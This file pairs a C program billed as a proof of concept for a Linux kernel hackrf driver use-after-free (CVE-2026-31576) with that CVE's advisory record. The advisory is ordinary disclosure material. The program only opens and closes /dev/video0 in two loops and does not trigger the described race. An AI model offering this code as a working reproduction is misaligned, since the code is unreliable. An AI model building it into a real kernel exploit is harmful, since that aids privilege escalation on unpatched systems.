CVE-2026-31576

#include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <unistd.h> #include <sys/ioctl.h> #include <pthread.h> #define DEVICE_PATH "/dev/video0" // Assuming hackrf device node void* thread_func(void* arg) { int fd; while (1) { fd = open(DEVICE_PATH, O_RDWR); if (fd < 0) continue; // Simulate racing with probe failure by keeping fd open // In a real scenario, trigger device reset/load concurrently usleep(100); close(fd); } return NULL; } int main() { pthread_t t1, t2; printf("Starting PoC for CVE-2026-31576...\n"); pthread_create(&t1, NULL, thread_func, NULL); pthread_create(&t2, NULL, thread_func, NULL); pthread_join(t1, NULL); pthread_join(t2, NULL); return 0; }

{"cve": {"id": "CVE-2026-31576", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-04-24T15:16:32.230", "lastModified": "2026-04-27T20:40:20.953", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nmedia: hackrf: fix to not free memory after the device is registered in hackrf_probe()\n\nIn hackrf driver, the following race condition occurs:\n```\n\t\tCPU0\t\t\t\t\t\tCPU1\nhackrf_probe()\n kzalloc(); // alloc hackrf_dev\n ....\n v4l2_device_register();\n ....\n\t\t\t\t\t\tfd = sys_open(\"/path/to/dev\"); // open hackrf fd\n\t\t\t\t\t\t....\n v4l2_device_unregister();\n ....\n kfree(); // free hackrf_dev\n ....\n\t\t\t\t\t\tsys_ioctl(fd, ...);\n\t\t\t\t\t\t v4l2_ioctl();\n\t\t\t\t\t\t video_is_registered() // UAF!!\n\t\t\t\t\t\t....\n\t\t\t\t\t\tsys_close(fd);\n\t\t\t\t\t\t v4l2_release() // UAF!!\n\t\t\t\t\t\t hackrf_video_release()\n\t\t\t\t\t\t kfree(); // DFB!!\n```\n\nWhen a V4L2 or video device is unregistered, the device node is removed so\nnew open() calls are blocked.\n\nHowever, file descriptors that are already open-and any in-flight I/O-do\nnot terminate immediately; they remain valid until the last reference is\ndropped and the driver's release() is invoked.\n\nTherefore, freeing device memory on the error path after hackrf_probe()\nhas registered dev it will lead to a race to use-after-free vuln, since\nthose already-open handles haven't been released yet.\n\nAnd since release() free memory too, race to use-after-free and\ndouble-free vuln occur.\n\nTo prevent this, if device is registered from probe(), it should be\nmodified to free memory only through release() rather than calling\nkfree() directly."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-416"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionEndExcluding": "6.6.136", "matchCriteriaId": "14109CEF-714B-4029-A318-97AA58A01833"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.7", "versionEndExcluding": "6.12.83", "matchCriteriaId": "7F0AE5B5-23AC-4DCC-B37A-51CA1DAE7BA8"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.13", "versionEndExcluding": "6.18.24", "matchCriteriaId": "8126B8B8-6D0B-4443-86C1-672AEE893555"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.19", "versionEndExcluding": "6.19.14", "matchCriteriaId": "D6A8A074-BBF4-4803-ABED-519A839435BB"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "7.0", "versionEndExcluding": "7.0.1", "matchCriteriaId": "9B5888AB-7403-4335-89E4-21CC0B48366A"}]}]}], "references": [{"url": "https://git.kernel.org/stable/c/07e9e674b6146b1f6fc41b1f54b8968bf2802824", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/2145c71a8044362e82e9923f001ba2aeb771b848", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/3b7da2b4d0fe014eff181ed37e3bf832eb8ed258", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/45cbaf5c7cdc5386d86377f0daf94a17a007fed0", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/98a0a81ce78020c2522e0046f49d200de9778cb9", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/fcd1d70792a35c8a97414fe429f48311e41269c2", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}]}}